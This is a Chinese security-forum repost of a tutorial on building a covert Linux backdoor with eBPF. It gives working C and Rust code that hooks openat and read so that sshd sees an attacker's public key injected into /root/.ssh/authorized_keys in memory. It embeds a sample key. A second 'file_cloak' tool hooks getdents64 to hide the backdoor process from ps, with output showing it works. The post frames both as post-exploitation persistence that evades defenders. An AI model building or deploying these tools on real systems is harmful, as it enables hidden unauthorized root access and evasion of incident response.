安全矩阵

 找回密码
 立即注册
搜索
查看: 793|回复: 0

如何借助eBPF打造隐蔽的后门

[复制链接]

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
发表于 2023-2-17 23:15:57 | 显示全部楼层 |阅读模式
本帖最后由 luozhenni 于 2023-2-17 23:15 编辑

如何借助eBPF打造隐蔽的后门
原文链接:如何借助eBPF打造隐蔽的后门
aric**** [url=]衡阳信安[/url] 2023-02-17 06:04 发表于山东
如何借助eBPF打造隐蔽的后门eBPF技术
简介
Linux 内核本质上是内核驱动的,下图表现了这一过程:
编辑
图片来自Cilium 项目的创始人和核心开发者在 2019 年的一个技术分享 如何使用 Cilium 和 eBPF 使 Linux 微服务感知
  •         在图中最上面,有进程进行系统调用,它们会连接到其他应用,写数据到磁盘,读写 socket,请求定时器等等。这些都是事件驱动的。这些过程都是系统调用。
  •         在图最下面,是硬件层。这些可以是真实的硬件,也可以是虚拟的硬件,它们会处理中断事 件,例如:"嗨,我收到了一个网络包","嗨,你在这个设备上请求的数据现在可以读了", 等等。可以说,内核所作的一切事情都是事件驱动的。
  •         在图中间,是 12万 行巨型单体应用(Linux Kernel)的代码,这些代码处理各种事件。
eBPF为什么会成为我们的好帮手呢?
因为BPF 给我们提供了在这些事件发生时运行指定的 eBPF程序的能力。
eBPF 程序并不像常规的线程那样,启动后就一直运行在那里,它需要事件触发后才会执行。这些事件包括系统调用、内核跟踪点、内核函数和用户态函数的调用退出、网络事件,等等。借助于强大的内核态插桩(kprobe)和用户态插桩(uprobe),eBPF 程序几乎可以在内核和应用的任意位置进行插桩。
例如,我们可以在以下事件发生时运行我们的 BPF 程序:
  •         应用发起 // 等系统调用readwriteconnect
  •         TCP 发生重传
  •         网络包达到网卡
这很类似hook系统函数的行为,我们知道hook系统函数修改原有逻辑很容易会造成系统崩溃,那么 Linux 内核是如何实现 eBPF 程序的安全和稳定的呢?
首先,ebpf程序并不是传统意义上的一个ELF执行程序,而是一段BPF字节码,这段字节码会交给内核的ebpf虚拟机。比如我们可以通过tcpdump 生成一段对应过滤规则的字节码
  1. > sudo tcpdump -i ens192 port 22 -ddd
  2. 24
  3. 40 0 0 12
  4. 21 0 8 34525
  5. 48 0 0 20
  6. 21 2 0 132
  7. 21 1 0 6
  8. 21 0 17 17
  9. 40 0 0 54
  10. 21 14 0 22
  11. 40 0 0 56
  12. 21 12 13 22
  13. 21 0 12 2048
  14. 48 0 0 23
  15. 21 2 0 132
  16. 21 1 0 6
  17. 21 0 8 17
  18. 40 0 0 20
  19. 69 6 0 8191
  20. 177 0 0 14
  21. 72 0 0 14
  22. 21 2 0 22
  23. 72 0 0 16
  24. 21 0 1 22
  25. 6 0 0 262144
  26. 6 0 0 0
复制代码
内核在接受 BPF 字节码之前,会首先通过验证器对字节码进行校验,只有校验通过的 BPF
  •         只有特权进程才可以执行 BPF 系统调用;
  •         BPF 程序不能包含无限循环;
  •         BPF 程序不能导致内核崩溃;
  •         BPF 程序必须在有限时间内完成。
  •         eBPF 程序不能随意调用内核函数,只能调用在 API 中定义的辅助函数;
  •         BPF 程序可以利用 BPF 映射(map)进行存储,BPF 程序收集内核运行状态存储在映射中,用户程序再从映射中读出这些状态。eBPF 程序栈空间最多只有 512 字节,想要更大的存储,就必须要借助映射存储;
安全校验后 eBPF 字节码将通过即时编译器(JIT,Just-In-Time Compiler)编译成为原生机器码,提供近乎内核本地代码的执行效率,并挂载到具体的 hook 点上。用户态程序与 eBPF 程序间通过常驻内存的 eBPF Map 结构进行双向通信,每当特定的事件发生时,eBPF 程序可以将采集的统计信息通过 Map 结构传递给上层用户态的应用程序,进行进一步与数据处理分析。下图具体的展现了这一过程
编辑
为了确保在内核中安全地执行,eBPF 还通过限制了能调用的指令集。这些指令集远不足以模拟完整的计算机。为了更高效地与内核进行交互,eBPF 指令有意采用了 C 调用约定,其提供的辅助函数可以在 C 语言中直接调用,这也方便了我们开发 eBPF程序,通常我们借助 LLVM 把编写的 eBPF 程序转换为 BPF 字节码,然后再通过 bpf 系统调用内核提交给执行。
下面,我们将通过实际开发来感受eBPF给安全人员提供的便利。
SSHD_BACKDOOR
我们知道,当用户在连接到远程的ssh服务器并提供非对称密钥时,远程服务器sshd会打开对应用户目录下的 验证用户是否可以通过对应的密钥登陆。~/.ssh/authorized_keys
因此,我们的目标很简单:就是让sshd打开 读到的公钥文件夹中含有我们的公钥信息,这样我们就可以认证登陆了。~/.ssh/authorized_keys
其过程可以简化为如下C语言代码
  1. char buf [4096] = {0x00};
  2. int fd = open("/root/.ssh/authorized_keys", O_RDONLY);
  3. if (fd < 0) {
  4.     printf("ERROR OPEN FILE");
  5. }
  6. memset(buf, 0 , sizeof(buf));
  7. if (read(fd, &buf, 4096) > 0) {
  8.     printf("%s", buf);
  9. }
  10. close(fd);
  11. return 0;
复制代码
我们很容易可以想到,hook read函数,将获得的文件内容修改为含有我们公钥的文件内容。
  1. > sudo bpftrace -lv "tracepoint:syscalls:sys_enter_read"
  2. tracepoint:syscalls:sys_enter_read
  3.     int __syscall_nr
  4.     unsigned int fd
  5.     char * buf
  6.     size_t count
复制代码
我们需要获得buf和count,即写入sshd读取缓存的地址,和对应的长度
为什么不直接向FD写?
因为bpf只支持有限的函数调用,不能调用write向FD中写
从这里我们也可以看出,如果只是hook这个函数,我们并不知道是哪个程序,打开了哪个文件调用的这个函数,为了进行过滤,我们还需要hook openat syscall
  1. > sudo bpftrace -lv "tracepoint:syscalls:sys_enter_openat"
  2. tracepoint:syscalls:sys_enter_openat
  3.     int __syscall_nr
  4.     int dfd
  5.     const char * filename
  6.     int flags
  7.     umode_t mode
复制代码
这里我们可以拿到文件名,通过 这一打开文件名特征来进行过滤/root/.ssh/authorized_keys
对应进程,可以通过bpf_helper自带的bpf_get_current_comm函数来获取对应的进程名,这里我们通过sshd进行过滤。
总体来说,流程可以分为三步
  •         hook openat syscall,根据文件名和进程名过滤拿到sshd的pid 和打开的 FD (通过exit时的ctx→ret)
  •         hook read syscall 根据 FD和PID 过滤拿到 sshd 读取密钥的 buf,并通过bpf_probe_write_user修改用户空间内存中的 buf
  •         hook exit syscal 清理ebpf map中保存的FD和PID,防止破坏其他进程和文件。


具体实现
Esonhugh 师傅基于cilium写了一版,为了锻炼自己写ebpf和rust的能力,拿libbpf-rs重写了一版,仓库在 https://github.com/EkiXu/sshd_backdoor 编译后的程序大小可以达到只有几百k。
bpf的部分是类似的,在enter时检查进程名参数中的文件名
  1. SEC("tp/syscalls/sys_enter_openat")
  2. int handle_openat_enter(struct trace_event_raw_sys_enter *ctx)
  3. {
  4.     size_t pid_tgid = bpf_get_current_pid_tgid();
  5.     char comm[TASK_COMM_LEN];
  6.     if(bpf_get_current_comm(&comm, TASK_COMM_LEN)) {
  7.         return 0;
  8.     }
  9.     const int target_comm_len = 5;
  10.     const char *target_comm = "sshd";

  11.     for (int i = 0; i < target_comm_len; i++)
  12.     {
  13.         if (comm[i] != target_comm[i])
  14.         {
  15.             return 0;
  16.         }
  17.     }

  18.     char filename[27];
  19.     bpf_probe_read_user(&filename, target_file_len, (char *)ctx->args[1]);
  20.     for (int i = 0; i < target_file_len; i++)
  21.     {
  22.         if (filename[i] != target_file[i])
  23.         {
  24.             return 0;
  25.         }
  26.     }
  27.     unsigned int zero = 0;
  28.     bpf_map_update_elem(&map_fds, &pid_tgid, &zero, BPF_ANY);
  29.     return 0;
  30. }
复制代码
在exit的时候存储对应的返回值FD
  1. SEC("tp/syscalls/sys_exit_openat")
  2. int handle_openat_exit(struct trace_event_raw_sys_exit *ctx)
  3. {
  4.     size_t pid_tgid = bpf_get_current_pid_tgid();
  5.     unsigned int *check = bpf_map_lookup_elem(&map_fds, &pid_tgid);
  6.     if (check == 0) return 0;
  7.     unsigned int fd = (unsigned int)ctx->ret;
  8.     bpf_map_update_elem(&map_fds, &pid_tgid, &fd, BPF_ANY);
  9.     return 0;
  10. }
复制代码
在read enter时存储buff指针参数和大小
  1. SEC("tracepoint/syscalls/sys_enter_read")
  2. int handle_read_enter(struct trace_event_raw_sys_enter *ctx)
  3. {
  4.     size_t pid_tgid = bpf_get_current_pid_tgid();
  5.     unsigned int *pfd = (unsigned int *) bpf_map_lookup_elem(&map_fds, &pid_tgid);
  6.     if (pfd == 0) return 0;

  7.     unsigned int map_fd = *pfd;
  8.     unsigned int fd = (unsigned int)ctx->args[0];
  9.     if (map_fd != fd) return 0;

  10.     long unsigned int buff_addr = ctx->args[1];
  11.     size_t size = ctx->args[2];
  12.     struct syscall_read_logging data;
  13.     data.buffer_addr = buff_addr;
  14.     data.calling_size = size;

  15.     bpf_map_update_elem(&map_buff_addrs, &pid_tgid, &data, BPF_ANY);
  16.     return 0;
  17. }
复制代码
在read exit时根据存储的fd,和在enter时拿到的存储buff指针,修改对应的buff指针尾部MAX_PAYLOAD_LEN字节长的空间。(因此需要对应目标文件有那么多空间,否则无法写入,实战中可以向对应文件写入一些空格占位)
  1. SEC("tracepoint/syscalls/sys_exit_read")
  2. int handle_read_exit(struct trace_event_raw_sys_exit *ctx)
  3. {
  4.     ...
  5.     u8 key = 0;
  6.     struct custom_payload *payload = bpf_map_lookup_elem(&map_payload_buffer, &key);
  7.     u32 len = payload->payload_len;
  8.     long unsigned int new_buff_addr = buff_addr + read_size - MAX_PAYLOAD_LEN;
  9.     long ret = bpf_probe_write_user((void *)new_buff_addr, payload->raw_buf, MAX_PAYLOAD_LEN);
  10.     ...
  11.     bpf_map_delete_elem(&map_fds, &pid_tgid);
  12.     bpf_map_delete_elem(&map_buff_addrs, &pid_tgid);
  13.     return 0;
  14. }
复制代码
关于加载bpf程序
  1. const SRC: &str = "src/bpf/backdoor.bpf.c";
  2. let mut out =
  3.         PathBuf::from(env::var_os("OUT_DIR").expect("OUT_DIR must be set in build script"));
  4.     out.push("backdoor.skel.rs");

  5.     println!("cargo:rerun-if-changed=src/bpf");

  6.     SkeletonBuilder::new()
  7.         .source(SRC)
  8.         .build_and_generate(&out)
  9.         .unwrap();
复制代码
在build.rs中编译对应的c文件到生成backdoor.skel.rs
  1. fn main() -> Result<(),Error>  {
  2.     let mut skel_builder = BackdoorSkelBuilder::default();
  3.     skel_builder.obj_builder.debug(true);
  4.     let open_skel = skel_builder.open()?;

  5.     // Begin tracing
  6.     let mut skel = open_skel.load()?;
  7.     skel.attach()?;
  8.     loop {
  9.     }
  10. }
复制代码
通过builder生成对应的skel,调用load和attach进行挂载,当然这里需要loop阻塞一下,不然就直接退出了。
用户态可以监听perfbuf和ringbuffer这两个map,以ringbuffer为例
  1. let mut builder = RingBufferBuilder::new();
  2.     builder.add(skel.maps_mut().rb(), rb_handler).expect("Failed to add ringbuf");
  3.     let ringbuf = builder.build().expect("Failed to build");

  4.     loop {
  5.         ringbuf.poll(Duration::from_millis(100))?;
  6.     }
复制代码

rb_handler就是对应的处理函数
也可以修改其他的map,比如这里向map里传入我们自定义的公钥内容
  1. //Replace your pub key here
  2.     let val = CustomPayload::new(b"\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC31FcYRWU1GQi6r0jLHwm7Ko9j8WaWFC9Y4RbRjbrRbx22HS/ZWhUr2mKtYR//QxhsP4uMzWOJka+yxxBhTo6GPJboMWrkPMr0R23+cXG2SIub/BeZqNe7qDOadp9Ng/ovzEWtpCQhtkrDSv+98RuHfNCngdpIjPDzf11k+GNNKwGtltO5YmUay/tqVrm8AsnmKhB7Xe0kuNPzHQVTWFB46k6xeWs/0NqHETmYxFznCYxGXYPX7+QMdGPZVvG2MLAxAUN/i6x7oygD6AGYTk9iQyAG/1TTgzSMWVXGC+8ZoSMQCxwNKpVl2Tqf79CmKjo6aTsJOihCtmSMoRRvr9vz9p/KYrSH5pSYbblKQHlYQRqFlaPRsqK13/oRE2cgVu0cU+hMSfMW+COYez0k82S0fck9BdEhU6PLyFby3fs7QHedeKvR6bKGh7kAsTnIbvJNx0VHQ/0X2Tcf0exW8oYFGMq41/aIWfCvjAyHtf66NqbrtIxD11AJjgmf8pgcR80= eki@DUBHE-VM\n");
  3.     let key = (0 as u8).to_ne_bytes();
  4.     //let val = custom_key;
  5.     unsafe {
  6.         if let Err(e) = skel.maps_mut().map_payload_buffer().update(&key, plain::as_bytes(&val), MapFlags::ANY){
  7.             panic!("{}",e)
  8.         }
  9.     }
复制代码
这里的结构推荐用Plain来完成从[u8]到结构的序列化和反序列化,比如我们存储的CustomPayload,可以这么写(注意空间和长度需要固定)
  1. #[derive(Debug, Clone)]
  2. pub struct CustomPayload {
  3.     pub raw_buf: [u8; MAX_PAYLOAD_LEN],
  4.     pub payload_len: u32,
  5. }

  6. impl CustomPayload {
  7.     pub fn new<const A:usize>(buf:&[u8;A])->Self{
  8.         CustomPayload {
  9.             raw_buf: pad_zeroes(*buf),
  10.             payload_len: buf.len() as u32,
  11.         }
  12.     }
  13. }

  14. unsafe impl Plain for CustomPayload{}
复制代码
效果如下
编辑
FILE_CLOAK

上面我们通过ebPF实现了一个sshd backdoor。其实它还不够隐蔽,比如这个进程会显示在进程树中,通过ps命令可以很容易的排查出可疑进程。
在linux下,我们排查系统运行的进程实际上是通过访问伪文件系统实现的,包括ps命令,我们可以通过strace来查看ps使用的系统调用来验证这一说法。/proc
  1. > strace -e openat ps
  2. ...
  3. openat(AT_FDCWD, "/proc/meminfo", O_RDONLY) = 4
  4. openat(AT_FDCWD, "/proc", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 5
  5. openat(AT_FDCWD, "/proc/1/stat", O_RDONLY) = 6
  6. openat(AT_FDCWD, "/proc/1/status", O_RDONLY) = 6
  7. openat(AT_FDCWD, "/proc/2/stat", O_RDONLY) = 6
  8. openat(AT_FDCWD, "/proc/2/status", O_RDONLY) = 6
  9. openat(AT_FDCWD, "/proc/3/stat", O_RDONLY) = 6
  10. openat(AT_FDCWD, "/proc/3/status", O_RDONLY) = 6
  11. openat(AT_FDCWD, "/proc/4/stat", O_RDONLY) = 6
  12. openat(AT_FDCWD, "/proc/4/status", O_RDONLY) = 6
  13. openat(AT_FDCWD, "/proc/5/stat", O_RDONLY) = 6
  14. ...
复制代码
那么,很自然的会想到利用上一篇文章中说的,让ps读不到对应的文件就可以使进程不出现在列表中。然而进程对应的是一个目录而非文件,我们可能需要劫持目录下的所有文件。因此,我们不妨换一个思路,通过系统调用来篡改目录。现代linux系统使用的调用为,对应的原型和参数结构如下
  1. getdentsgetdents64

  2. int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);

  3. //其中
  4. struct linux_dirent64 {
  5.     u64        d_ino;    /* 64-bit inode number */
  6.     u64        d_off;    /* 64-bit offset to next structure */
  7.     unsigned short d_reclen; /* Size of this dirent */
  8.     unsigned char  d_type;   /* File type */
  9.     char           d_name[]; /* Filename (null-terminated) */ };

复制代码

我们也可以验证ps中确实使用了这一系统调用
  1. trace -e getdents64 ps
  2. getdents64(5, 0x55e5e2a6d380 /* 324 entries */, 32768) = 8832
  3.     PID TTY          TIME CMD
  4.   46489 pts/17   00:00:01 bash
  5.   57392 pts/17   00:00:00 strace
  6.   57395 pts/17   00:00:00 ps
  7. getdents64(5, 0x55e5e2a6d380 /* 0 entries */, 32768) = 0
  8. +++ exited with 0 +++
复制代码
隐藏流程

对于正常读取文件:
linux_dirent64 结构体在内存的排列是连续的,而且 的第二个参数 dirent 正好指向第一个 结构体,所以根据上面的信息,我们只要知道 链表的大小,就能根据 ,就能准确从连续的内存中分割出每一块。sys_getdents64linux_dirent64linux_dirent64linux_dirent64->d_reclenlinux_dirent64
那么隐藏的思路就是:
通过修改前一块 为下一块的+这一块的 这样读取文件是就会跳过这一部分直接到下一块。linux_dirent64->d_reclend_reclend_reclen
具体实现

具体代码也用libbpf-rust实现了一版
https://github.com/EkiXu/file_cloak
主要是对的hookSEC("tracepoint/syscalls/sys_exit_getdents64")
首先是遍历 结构体,找到对应的目录,这里通过尾调用的方式绕过eBPF对循环的限制,具体来说就是将原来的循环拆分成大小为128的块,一轮循环结束后,记录当前遍历的位置,通过bpf_tail_call再次调用这个函数进行遍历,直到找到对应的文件名。
  1. int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx)
  2. {
  3.         ...

  4.     long unsigned int buff_addr = *pbuff_addr;
  5.     struct linux_dirent64 *dirp = 0;
  6.     int pid = pid_tgid >> 32;
  7.     short unsigned int d_reclen = 0;
  8.     char filename[MAX_FILE_LEN];

  9.     unsigned int bpos = 0;
  10.     unsigned int *pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid);
  11.     if (pBPOS != 0) {
  12.         bpos = *pBPOS;
  13.     }

  14.     for (int i = 0; i < 128; i ++) {
  15.         if (bpos >= total_bytes_read) {
  16.             break;
  17.         }
  18.         dirp = (struct linux_dirent64 *)(buff_addr+bpos);
  19.         bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);
  20.         bpf_probe_read_user_str(&filename, sizeof(filename), dirp->d_name);

  21.         int j = 0;
  22.         for (j = 0; j < file_to_hide_len; j++) {
  23.             if (filename[j] != file_to_hide[j]) {
  24.                 break;
  25.             }
  26.         }
  27.         if (j == file_to_hide_len) {

  28.             bpf_map_delete_elem(&map_bytes_read, &pid_tgid);
  29.             bpf_map_delete_elem(&map_buffs, &pid_tgid);

  30.             bpf_tail_call(ctx, &map_prog_array, PROG_PATCHER);
  31.         }
  32.         bpf_map_update_elem(&map_to_patch, &pid_tgid, &dirp, BPF_ANY);
  33.         bpos += d_reclen;
  34.     }

  35.     if (bpos < total_bytes_read) {
  36.         bpf_map_update_elem(&map_bytes_read, &pid_tgid, &bpos, BPF_ANY);
  37.         bpf_tail_call(ctx, &map_prog_array, PROG_HANDLER);
  38.     }

  39.     bpf_map_delete_elem(&map_bytes_read, &pid_tgid);
  40.     bpf_map_delete_elem(&map_buffs, &pid_tgid);
  41.     return 0;
  42. }
复制代码

找到之后,同样通过尾调用跳转到patch函数,注意,在遍历的过程中我们一直在更新存储之前的文件,当遍历到目标文件时,map里面的文件就是目标之前的文件。此后我们修改长度覆盖目标文件即可。过程如下。
  1. SEC("tracepoint/syscalls/sys_exit_getdents64")
  2. int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx)
  3. {
  4.         ...

  5.     long unsigned int buff_addr = *pbuff_addr;
  6.     struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *)buff_addr;

  7.     short unsigned int d_reclen_previous = 0;
  8.     bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous), &dirp_previous->d_reclen);

  9.     struct linux_dirent64 *dirp = (struct linux_dirent64 *)(buff_addr+d_reclen_previous);
  10.     unsigned short d_reclen = 0;
  11.     bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);

  12.     short unsigned int d_reclen_new = d_reclen_previous + d_reclen;
  13.     long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new));

  14.         ...

  15.     bpf_map_delete_elem(&map_to_patch, &pid_tgid);
  16.     return 0;
  17. }
复制代码
用户态的实现也是类似的,注意我们可以直接修改bpf字节码中的rodata段来存储我们想要的目标文件名。
  1. open_skel.rodata().file_to_hide_len = target_folder.as_bytes().len() as i32;
  2. open_skel.rodata().file_to_hide[..target_folder.as_bytes().len()].copy_from_slice(target_folder.as_bytes());
复制代码
最终效果如下
  1. > ps aux |grep listen.py
  2. eki        63504  0.0  0.0  91636  5876 pts/32   Sl+  Feb15   0:00 python listen.py
  3. eki        82405  0.0  0.0   7012  2140 pts/35   S+   01:33   0:00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn --exclude-dir=.idea --exclude-dir=.tox listen.py

  4. ---
  5. > sudo target/debug/file_cloak 63504

  6. ---
  7. > ps aux |grep listen.py
  8. eki        82302  0.0  0.0   7012  2228 pts/35   S+   01:33   0:00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn --exclude-dir=.idea --exclude-dir=.tox listen.py
复制代码
总结

在本文中,我们实际上利用eBPF机制实现了两个Gadget:
  •         通过劫持openat和read系统调用实现任意程序读取文件内容劫持
  •         通过劫持getdents64系统调用实现任意程序列目录劫持
通过这两个Gadget就能实现一个隐蔽的sshd后门。当然也可以开发出更多的玩法。
优点和劣势

优点:
  •         文件痕迹上足够隐蔽,如果蓝队不查看可疑的bpf进程的话,由于这种方式并不会对磁盘上的文件造成影响,很难检测到添加了公钥,也很难修复。
  •         行为痕迹上足够隐蔽,全程的行为都是正常的,攻击者只是正常的使用公钥连接目标服务器。同时后门进程也不会出现在进程树中。
劣势:
  •         ebpf需要root权限才能执行。因此只能应用于渗透提权后的权限维持。
  •         由于ebpf本身的特性,后门程序对目标系统内核版本的要求比较高,无法运行在较低的内核版本上。
参考资料来源:先知社区的【aric**** 】师傅



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 22:02 , Processed in 0.013812 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表